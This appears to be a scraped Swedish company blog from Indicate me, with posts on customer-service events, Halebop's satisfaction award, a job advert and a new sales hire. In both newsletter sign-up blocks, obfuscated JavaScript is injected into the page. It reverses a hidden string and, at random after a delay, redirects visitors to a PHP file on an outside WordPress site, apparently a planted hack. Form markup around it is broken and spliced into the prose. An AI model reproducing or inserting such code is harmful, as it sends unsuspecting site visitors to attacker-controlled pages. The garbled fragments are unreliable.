Hur når vi framtidens kundservice?

Den tekniska utvecklingen går snabbt och folk slänger sig med ord som RPA, AI och Chatbots till höger och vänster när de talar om framtidens kundservice, men hur når vi framtidens kundservice egentligen?
Den 6-7 november äger eventet Framtidens Kundservice rum i Stockholm. Under dessa två dagar kommer talare och debattörer att dela med sig av sina erfarenheter och perspektiv inom temat.

Lina Bjelkmar, VD Indicate me, kommer under dag 1 att delta som expert i paneldebatten.

– Det känns väldigt roligt att jag har fått äran att delta som expert i paneldebatten. Jag brinner för att diskutera kundservice och ser fram emot att göra det i detta forum. Det finns många fascinerade innovativa tekniska lösningar att diskutera, vilket jag älskar, men ibland kan jag uppleva att företag blir för teknikfokuserade och glömmer bort de grundproblem som finns. Min förhoppning med debatten är att jag ska bidra med ett annat perspektiv på vägen mot framtidens kundservice och väcka några frågeställningar hos deltagarna, säger Lina.

Debatt om framtidens kundservice
I paneldebatten kommer följande personer att delta:

  • Lina Bjelkmar, VD, Indicate me
  • Dan Milestad, Affärsområdesansvarig AI-Partner, Softronic
  • Anna Loverus, Grundare, Artificial Humanity
  • Elin Trapp, Kundservicechef, Lyko

Under dagen kommer fler kollegor från Indicate me finnas på plats med monter – kom gärna förbi oss om du är nyfiken på vad vi gör!

Mer info och anmälan:
Datum: 6-7 november
Pris: Ordinarie pris: 10.490 :-, anger du koden Indicate20 får du 20% rabatt
Anmälan: Klicka här för att se hela programmet och komma till anmälan >>

 

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Big mistake. Thank you! Part 2

Ett kostnadsfritt event om misstag på vägen mot succé i kundservice
Föregående år anordnade Indicate me tillsammans med Releasy ett fullsatt och uppskattat event inom temat ”Big mistake. Thank you!”. Nu kommer uppföljaren som riktar sig mot både nya och gamla deltagare.
– Nytt för i år är att vi kommer att fokusera ännu mer på digitaliseringen inom kundservice och då också djupdyka inom chatbots. På plats kommer modiga och erfarna debattörer från bland annat Fortum, Swedavia och Nordea att dela med sig av sina erfarenheter inom ämnet, berättar Lina Bjelkmar, VD Indicate me.

Under debatten kommer deltagarna få svar på frågor såsom:

  • Vilka minor har debattörerna gått på under implementeringen av chatbots?
  • Vad skulle de ha gjort annorlunda om de påbörjade samma projekt idag?
  • Vad är det egentligen som krävs av organisationen, tekniken och processerna för att få det att lyckas?

Eventet kommer också att bjuda på spännande föreläsningar från välkända varumärken. Halebop kommer att berätta mer om hur de har vunnit pris om Sveriges nöjdaste kunder för tionde gången och SBAB kommer att berätta mer om deras onboarding process. Detta och mycket mer vill du bara inte missa!

Praktiskinformation
Datum: 28 november
Starttid: 14:00 
Plats: Pipers väg 28, 170 73 Solna
Info & anmälan: Klicka här för mer info & anmälan >> 

Halebop: Sveriges nöjdaste kunder

Årligen genomför Svenskt Kvalitetsindex (SKI) en undersökning om kundnöjdheten bland svenska mobiloperatörer. För tionde gången vinner Halebop titeln om Sveriges nöjdaste kunder.

Det vi tycker är intressant, jämfört mot tidigare år, är att hela branschen har fått högre betyg än någonsin tidigare.

Hur kommer det sig att kunderna är mer nöjda?
I rapporten från SKI tyder kundernas svar på att branschen har satt ett större kundfokus där man värdesätter kunden i varje kontakt. Detta är verkligen helt rätt steg att gå, men hur gör man för att få ett kundfokuserat arbetssätt?

Här kommer några tips:

  • Hitta och följ upp rätt nyckeltal
  • Optimera de processer där det ger mest effekt
  • Genomför tväranalys, exempelvis vilka ärenden tycker era kunderna är krångliga?
  • Genomför proaktivanalys – Kan ni minska ärenden in till kundservice? Rapporter tyder på att hela 57,7% försöker lösa problemet själva på hemsidan innan de kontaktar kundservice (Källa: Gartner)
  • Skapa transparens genom hela organisationen

Genom outsourcingpartnern Releasy analyserar Halebop sin kundservice i Indicate me, därför tycker vi att det är extra kul att Halebop vinner titeln om Sveriges nöjdaste kunder – för tionde gången! Indicate me vill rikta ett stort grattis Halebop!

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Halebop vinner titeln om Sveriges nöjdaste kunder – För tionde gången

Årligen genomför Svenskt Kvalitetsindex (SKI) en undersökning om kundnöjdheten bland svenska mobiloperatörer. För tionde gången vinner Halebop titeln om Sveriges nöjdaste kunder.

Det vi tycker är intressant, jämfört mot tidigare år, är att hela branschen har fått högre betyg än någonsin tidigare.

Hur kommer det sig att kunderna är mer nöjda jämfört mot tidigare?
I rapporten från Svenskt Kvalitetsindex (SKI) tyder kundernas svar på att branschen har satt ett större kundfokus där man värdesätter kunden i varje kontakt.

Hur gör man för att få ett kundfokuserat arbetssätt?
Här kommer några tips:

  • Hitta och följ upp rätt nyckeltal
  • Optimera de processer där det ger mest effekt
  • Genomför tväranalyser, exempelvis vilka ärenden som kunderna tycker är krångliga
  • Genomför proaktivanalys – Kan ni minska ärenden in till kundservice? Rapporter tyder på att hela 57,7% försöker lösa problemet själva på din hemsida innan de kontaktar kundservice (Källa: Gartner)
  • Skapa transparens genom hela organisationen

Genom outsourcingpartnern Releasy analyserar Halebop sin kundservice i Indicate me, därför tycker vi att det är extra kul att Halebop vinner titeln om Sveriges nöjdaste kunder – för tioende gången! Vi vill därför rikta ett stort grattis till Halebop!

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Vill du bli vår nya Customer Success Manager?

,

Vill du ingå i ett team som är kick ass duktiga på att hjälpa stora företag att få en bättre kundservice? Gillar du att bygga B2B-relationer och tycker det är spännande att grotta i statistik (iaf när det presenteras på ett snyggt sätt i vår webtjänst)? Vill du vara med och ständigt utveckla nya bra funktioner? Eller känner du någon som det passar in på så tagga gärna!

Vi söker en Customer Success Manager som är minst lika engagerad och driven som oss. Som Customer Success Manager kommer du att säkerställa bästa kundupplevelse, främst genom att optimera användningen av vårt analys- och coachingssystem. Du kommer bland annat att jobba med projektledning, utbildningar och produktutveckling som drivs med stora företag och deras kundservice-avdelningar.

På Indicate me får du det bästa av två världar – den snabbväxande startup-kulturen med en stabil och kapitalstark ägare. Du blir del av ett tight och kompetent team som precis har påbörjat en kraftig tillväxtresa. Tjänsten är en spännande nyckelroll där du har stora möjligheter att påverka både din egen och företagets fortsatta utveckling.

Dina arbetsuppgifter kommer fokuseras på:

  • Äga den övergripande relationen med dina kunder, från dagliga avstämningar till utvecklingsprojekt
  • Agera rådgivare i både interna och externa projekt för att optimera användningen av Indicate me’s system och säkerställa bästa kundupplevelse
  • Tillsammans med VD och Customer Success-teamet utveckla Indicate me’s produkt
  • Utföra behovsanalys tillsammans med potentiella kunder för att påvisa värdet i produkten samt skapa rätt förutsättningar för nya affärsmöjligheter

Kvalifikationer

  • Högskoleutbildning eller motsvarande
  • Några års arbetslivserfarenhet som operativ ledare, meriterande inom kundservice
  • Meriterande med erfarenhet från konsultrelaterade arbetsuppgifter eller andra SaaS-lösningar

Vi söker nu dig som:

  • Är självgående och initiativrik, får saker att hända och tar ansvar för resultatet – en DO:er som trivs i en miljö som präglas av ”Trial and Error”
  • Gillar ett högt tempo i en resultatdriven organisation
  • Är ambitiös och högpresterande med ett starkt personligt driv
  • Konsultmässighet gentemot kunder, med starkt gehör för behov
  • Besitter en strategisk höjd och är analytisk
  • Har en förmåga att skapa starka affärsrelationer

Du rapporterar direkt till VD och får sitta tillsammans med tjugotal kollegor från oss och moderbolaget Releasy på en nyrenoverad herrgård med sjöutsikt i Bergshamra.

Skicka frågor eller ansökan till

Halebop har Sveriges nöjdaste kunder – för nionde gången!

Årligen genomför Svenskt Kvalitetsindex (SKI) en undersökning om kundnöjdheten bland svenska mobiloperatörer. För nionde gången kammar Halebop hem första pris!

Igår publicerade SKI sin årliga rapport av mobilbranschen med fokus på kundnöjdhet. I studien framkommer det att kundnöjdheten bland privatkunder är högre än någonsin. Tidigare har kunder, både privata och företag, uppskattat mer hårda värden såsom täckning, surfmängd och pris, vilket nu har övergått till personlig service.

– Att kunder har gått från att prioritera teknik till att uppskatta service är något som Halebop har anammat och vi är glada över att vi har kunnat bidra inom just kundservicedelen, berättar Lina Bjelkmar, VD på Indicate me.

Genom outsourcingpartnern Releasy analyserar Halebop sin kundservice i Indicate me.

– Vi är såklart mycket glada över att vi har kunnat bidra med en ökad förståelse av kundupplevelsen i kundservice och att Halebop genom ett gediget arbete har vunnit titeln om Sveriges nöjdaste kunder – för nionde gången, säger Lina.

Avslutningsvis tillägger Lina:

– Vi på Indicate me vill rikta ett stort grattis till Halebop!

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Nyhetsbrev
Prenumerera på vårt nyhetsbrev och ta del av den senaste informationen om Indicate me.

 
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocomplete=”off” maxlength=”512″ name=”Contact.email” required=”required” type=”email” placeholder=”E-post *” /> $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton class=”Button Button–bordered” type=”submit”>Prenumerera$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton>


torAll("input, textarea");for(var s=0;stop.location.href=t;else{var e=document.getElementById(”up-form”),n=document.getElementById(”up-form-thanks”);e.style.display=”none”,n.style.display=”block”,a&&a.push&&a.push([”trackLink”,”https://post.upsales.com/”+f.responseText,”link”]),_uaq&&_uaq(”form=”+f.responseText)}else console.log(”AJAX ERROR”,f.status)}}else{var l=document.getElementById(”recaptcha-error”),c=document.getElementsByClassName(”g-recaptcha”);l.style.display=”none”,c&&c.length&&console.log(”handle this later”)}}var form=document.getElementById(”up-form”);form.addEventListener(”submit”,onSubmit)

  Kontakta oss

Fullsatt under eventet: Big mistake. Thank you!

I slutet av föregående vecka anordnade Indicate me tillsammans med Releasy en paneldebatt med temat ”Big mistake. Thank you!”

På plats deltog fem erfarna debattörer från Ikea, C More, Boxer, Santander Consumer Bank och Trafikförvaltningen. Debattörerna delade öppet med sig av sina misstag på vägen på succé i kundservice, vilket var något som uppskattades bland gästerna som framförallt bestod av kundserviceansvariga.

– Platserna till eventet fylldes upp på en gång. Det är kul att se att intresset för kundservice är högt och att så pass många besökare hade rest långt för att komma, berättar Lina Bjelkmar, VD på Indicate me.

Ämnena väckte engagemang

Under kvällen diskuterades bland annat rekrytering, chatbotar, robotisering (RPA) och hur man får kundservice att bli en prioriterad fråga.

– Ämnena som togs upp engagerade många, framförallt uppskattades det att panelen konkret framförde vilka utmaningar som de har haft och hur de har löst dem. Under pauserna blev det mycket diskussioner mellan deltagarna och frågor till paneldeltagare. Vi fick även en bra interaktion till publiken då man hade möjlighet att skicka in sina frågor i realtid via mentimeter under debatterna, berättar Lina.

Några röster från kvällen

”Det var intressant att höra fem företag ha så olika lösningar på samma utmaningar

”Det var kul att debattörerna var så öppna och delade med sig av sina erfarenheter, trots att konkurrenter satt i publiken

” Härligt avslöjande att en av debattörerna tatuerat in företagets logotyp på armen

big-mistake-thank-you

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.


Nyhetsbrev
Prenumerera på vårt nyhetsbrev och ta del av den senaste informationen om Indicate me.

 
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocomplete=”off” maxlength=”512″ name=”Contact.email” required=”required” type=”email” placeholder=”E-post *” /> $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton class=”Button Button–bordered” type=”submit”>Prenumerera$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton>


torAll("input, textarea");for(var s=0;stop.location.href=t;else{var e=document.getElementById(”up-form”),n=document.getElementById(”up-form-thanks”);e.style.display=”none”,n.style.display=”block”,a&&a.push&&a.push([”trackLink”,”https://post.upsales.com/”+f.responseText,”link”]),_uaq&&_uaq(”form=”+f.responseText)}else console.log(”AJAX ERROR”,f.status)}}else{var l=document.getElementById(”recaptcha-error”),c=document.getElementsByClassName(”g-recaptcha”);l.style.display=”none”,c&&c.length&&console.log(”handle this later”)}}var form=document.getElementById(”up-form”);form.addEventListener(”submit”,onSubmit)

  Kontakta oss

Big mistake. Thank you!

– Ett kostnadsfritt event om misstag på vägen mot succé i kundservice

Torsdagen den 27 september anordnar vi eventet Big mistake. Thank you!  Under eventet kommer erfarna debattörer från Ikea, C More, Trafikförvaltningen, Santander Consumer Bank och Boxer dela med sig av sina misstag på vägen mot succé i kundservice.

  • Paneldebatt 1: Automatisering inom kundtjänst
    Lärdomar vid implementering av t.ex. chatbots och robotics samt diskussion kring områden inom AI för kundservice – vad krävs av organisationen, tekniken och processerna för att få det att lyckas
  • Paneldebatt 2: Attrahera och behålla personal
    Vad krävs för att attrahera rätt personal inom kundservice och hur gör vi för att de ska stanna? Vad bör man inte göra? Diskussion kring utmaningar och arbetssätt för att minska personalomsättningen och underlätta rekryteringen.
  • Paneldebatt 3: Sätta kundservice på agendan
    Hur ska kundservice komma högre upp på agendan inom organisationen? Diskussion kring vad som krävs för att göra kundservice till en central del av företaget.

Praktiskinformation
Datum: 27 september
Starttid: 15:00
Plats: Pipers väg 28, 170 73 Solna
Info & anmälan: Klicka här för att komma till kampanjsidan >> 

Kundfokus in i väggen på Kontaktadagen

Under föredraget på Kontaktadagen berättade Cecilia Gotting, enhetschef på PayEx, om deras resa från totalt kundfokus till processfokus och sedan vägen tillbaka igen.

PayEx erbjuder heltäckande betalningslösningar på den Nordiska marknaden. Med visionen att deras tjänster ska ha högsta kvalitén, säkerheten och pålitligheten, är de fast beslutna om att alla förr eller senare ska betala via PayEx.

Under Kontaktadagen i Stockholm skulle Samuel Lundin, Team Manager på PayEx, föreläsa om Kundfokus in i väggen . Han blev dock fyrbarnspappa ett par dagar innan eventet och Cecilia fick därmed täcka upp.

”Det har varit en lång resa med många utmaningar, men vi har kommit en lång bit på vägen och vi arbetar målmedvetet för att vi ska nå dit vi vill. För att vi ska fortsätta utvecklas krävs det att vi har ett bra systemstöd” , sa Cecilia Gotting under föredraget.

Använder sig av Indicate me
PayEx utför idag sin resultatuppföljning av kundservicen i Indicate me. Här har de all sin kundservicedata samlad på ett ställe:

  • Statistik kring samtal, mail och chatt
  • Kundernas feedback på hanterade ärenden
  • Effektivitet gällande administration och övriga arbetsuppgifter

Det har varit ett stort förändringsarbete med att axla om från internt fokus till externt fokus och att få med alla medarbetare på tåget, vilket Cecilia berättade om på scenen.

Andreas Kimmehed, Customer Success Manager på Indicate me, tycker att PayEx har gjort ett gediget arbete.

– Det har varit stora förändringar för PayEx och såklart även i uppföljningsarbetet. Det är delvis ett nytt tankesätt, men jag tycker att PayEx har antagit Indicate me med stor positivitet och vilja. Det märks att de är motiverade och engagerade att nå hela vägen, vilket är jättekul att se.

Vidare berättar Andreas:

– Som kundansvarig är jag såklart lite extra stolt att Cecilia och PayEx väljer att gästa scenen på Kontaktdagen och berätta om vårt samarbete. Det är alltid kul när våra kunder vill dela med sig om sina upplevelser av Indicate me!

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Vi fortsätter att expandera – Vi välkomnar Niklas Bjurman

Niklas Bjurman kliver in i rollen som Sales Manager på Indicate me. I rollen kommer han framförallt att fokusera på att öka tillväxten i bolaget genom försäljning till nya och befintliga kunder.
Niklas kommer närmast från Quinyx, där han arbetat i drygt 10 år och varit med att bygga upp företaget från 6 anställda till nu över 100 anställda.
– Det har varit en riktigt häftig och lärorik resa! Jag tar med mig erfarenheten om hur man kan växa som bolag på bästa sätt, säger Niklas.

Med erfarenhet av att driva sälj, tillväxt och samarbeten, tar Niklas även med sig kunskapen om att arbeta målmedvetet och fokuserat.
– Under alla år på Quinyx har jag arbetat med sälj och ingått samarbeten med många nya kunder, så det får jag säga är min expertis, berättar Niklas.

Hitintills har Niklas fått följande uppfattning av vår verksamhet:
– Indicate me har en fantastisk produkt redan nu. Den kan snabbt påvisa en ROI och hur det går att förbättra sin verksamhet. Alla delar finns på ett och samma ställe, vilket spar mycket tid för användarna.

Avslutningsvis tillägger Niklas:
– Jag ser framemot att bidra med bra stämning på kontoret och att ha kul på jobbet. Mina förväntningar på tillväxt är stor, det finns en jättebra grund i bolaget som vi ska bygga vidare på framåt. Jag är säker på att jag kommer få vara med på en lika häftig resa igen!

Vi på Indicate me hälsar Niklas Bjurman varmt välkommen!

Niklas-bjurman
Niklas Bjurman
Sales Manager
Niklas.bjurman@indicateme.se

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.